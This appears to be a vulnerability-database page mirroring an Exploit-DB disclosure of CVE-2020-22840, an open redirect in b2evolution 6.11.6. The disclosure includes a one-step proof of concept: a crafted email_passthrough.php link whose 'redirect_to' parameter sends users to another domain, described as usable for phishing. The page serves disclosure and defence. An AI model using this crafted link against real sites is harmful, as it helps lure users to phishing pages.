b2evolution 6.11.6 - 'redirect_to' Open Redirect

🗓️ 11 Feb 2021 00:00:00Reported by Nakul RattiType

exploitdb🔗 www.exploit-db.com👁 559 Views

b2evolution 6.11.6 'redirect_to' Open Redirect, Allows Open Redirect to Phishing Site

Reporter	Title	Published	Views	Family All 10
Circl	CVE-2020-22840	14 Nov 202406:08	–	circl
CNNVD	b2evolution Input Validation Error Vulnerability	9 Feb 202100:00	–	cnnvd
CVE	CVE-2020-22840	9 Feb 202113:09	–	cve
Cvelist	CVE-2020-22840	9 Feb 202113:09	–	cvelist
Nuclei	b2evolution CMS <6.11.6 - Open Redirect	3 Jun 202606:04	–	nuclei
NVD	CVE-2020-22840	9 Feb 202114:15	–	nvd
OpenVAS	b2evolution < 6.11.7 Multiple Vulnerabilities	11 Feb 202100:00	–	openvas
Packet Storm	b2evolution CMS 6.11.6 Open Redirection	10 Feb 202100:00	–	packetstorm
Prion	Open redirect	9 Feb 202114:15	–	prion
RedhatCVE	CVE-2020-22840	22 May 202515:19	–	redhatcve

# Exploit Title: b2evolution 6.11.6 - 'redirect_to' Open Redirect
# Date: 10/02/2021
# Exploit Author: Soham Bakore, Nakul Ratti
# Vendor Homepage: https://b2evolution.net/
# Software Link: https://b2evolution.net/downloads/6-11-6-stable?download=12405
# Version: 6.11.6
# Tested on: latest version of Chrome, Firefox on Windows and Linux
# CVE : CVE-2020-22840


--------------------------Proof of Concept-----------------------


1. Send the following link : http://127.0.0.1/htsrv/email_passthrough.php?email_ID=1&type=link&email_key=5QImTaEHxmAzNYyYvENAtYHsFu7fyotR&redirect_to=http%3A%2F%2Fgoogle.com to the unsuspecting user
2. The user will be redirected to Google.com or any other attacker controlled domain
3. This can be used to perform malicious phishing campaigns on unsuspecting users

11 Feb 2021 00:00Current

6.3Medium risk

Vulners AI Score6.3

CVSS 25.8

CVSS 3.16.1

EPSS0.42697

b2evolution 6.11.6 - &#039;redirect_to&#039; Open Redirect

b2evolution 6.11.6 - 'redirect_to' Open Redirect